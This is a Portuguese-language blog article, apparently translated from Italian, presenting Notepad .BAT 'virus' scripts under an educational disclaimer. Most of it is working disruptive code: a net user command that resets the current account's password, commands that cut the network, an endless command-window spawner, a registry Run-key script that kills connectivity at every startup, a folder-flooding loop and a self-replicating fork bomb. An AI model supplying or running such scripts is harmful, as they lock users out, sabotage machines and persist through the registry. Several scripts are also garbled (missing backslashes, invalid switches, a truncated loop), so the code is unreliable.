Salta al contenuto principale
Alemasone

Como Criar .BAT Script: Guia Educativo para Bloco de Notas

Saiba como os arquivos .BAT e os comandos CMD funcionam com este guia educacional. Saiba como testar scripts com o Bloco de Notas de uma forma totalmente segura.

3 min de leitura Atualizado a
Como Criar .BAT Script: Guia Educativo para Bloco de Notas

Bem-vindo a este guia técnico onde iremos analisar como o bloco de notas simples do Windows (Notepad) pode ser usado para escrever scripts que alteram o funcionamento do sistema. Abaixo, mostrarei o código para criar esses “vírus” (que são tecnicamente arquivos em lote), para fins de teste puros e educação em segurança cibernética. Antes de começar, peço-lhe que leia cuidadosamente algumas recomendações importantes.

Não assumo nenhuma responsabilidade pelo uso dos códigos deste artigo. O único propósito deste guia é informativo e educacional. Todas as consequências causadas pela execução indevida desses scripts em seu sistema será sua única responsabilidade.

Todos os scripts mostrados devem ser salvos com a extensão .bat. Ao usar o Notepad, certifique-se de selecionar “Todos os arquivos” no menu salvar e nomeie o documento, por exemplo, como “virus.bat”. Para saber mais sobre a operação desses executáveis, consulte o documentação oficial dos comandos Windows.

Alterar o nome de usuário local #

@echo off
net user %username% InShadow

Forçar o tempo do sistema às 00:00 #

@echo off
time 00:00

Desactivar a ligação à Internet #

ipconfig /release
if ERRORLEVEL1 ipconfig /release_all

Criar um Loop infinito do Prompt de Comando #

O comando start é interpretado pelo sistema operacional para iniciar uma nova instância do Prompt de Comando. Programando um ciclo (loop) que executa repetidamente a instrução Iniciar, você pode saturar a memória RAM e bloquear seu PC devido a janelas que abrem ininterruptamente.

: infinitedos
 @start
 @echo addio…
 @start
 @Goto infinitedos

Desactivar permanentemente a Internet (alterar o registo) #

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /dc:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /dc:windowswimn32.bat /f
echo Sei stato hackerato!
PAUSE

Como gerar 1.000 pastas em segundos #

@echo off
:top
md %random%
GOTO top

Provocar uma falha do sistema em 3 segundos (bomba de garfo) #

for /l %%i in (1,1,10000) do (
 md %%i
 cd %%i
 copy "..\bat.bat"
 for /l %%i in (1,1,5) do (
  start bat.bat
 )
 cd..
 for /l %%i in (1,1,5) do (
  echo %random% %random% %random% %random% %random% %random% %random% %random% %random%

Perguntas frequentes (FAQ) sobre os arquivos Batch e CMD #

O que é um arquivo .BAT e para que exatamente é o mesmo? #

Um arquivo .BAT é um documento de texto contendo uma sequência de instruções. Quando iniciado, o interpretador de linha de comando do Windows (CMD) lê e Executar estes comandos em sequência automatizando operações de perfuração ou, como mostrado neste guia, simulando comportamento agressivo para fins de teste.

Tens a certeza que vais testar estes guiões no meu computador principal? #

Absolutamente não. Para preservar o Cibersegurança de seus dados, é altamente recomendável executar e testar scripts que alterem as chaves de registro ou conexões de rede exclusivamente dentro de uma Máquina Virtual (Máquina Virtual) protegida e isolada do sistema operacional principal.

Posso usar esses códigos para aprender o básico da programação? #

Claro. Aproximando-se do uso do Bloco de Nota para escrever arquivos simples .BAT é um dos melhores exercícios propedêuticos para entender a lógica dos ciclos (loop), variáveis de ambiente e interação direta com as bases administrativas do sistema operacional Windows.

Leia a seguir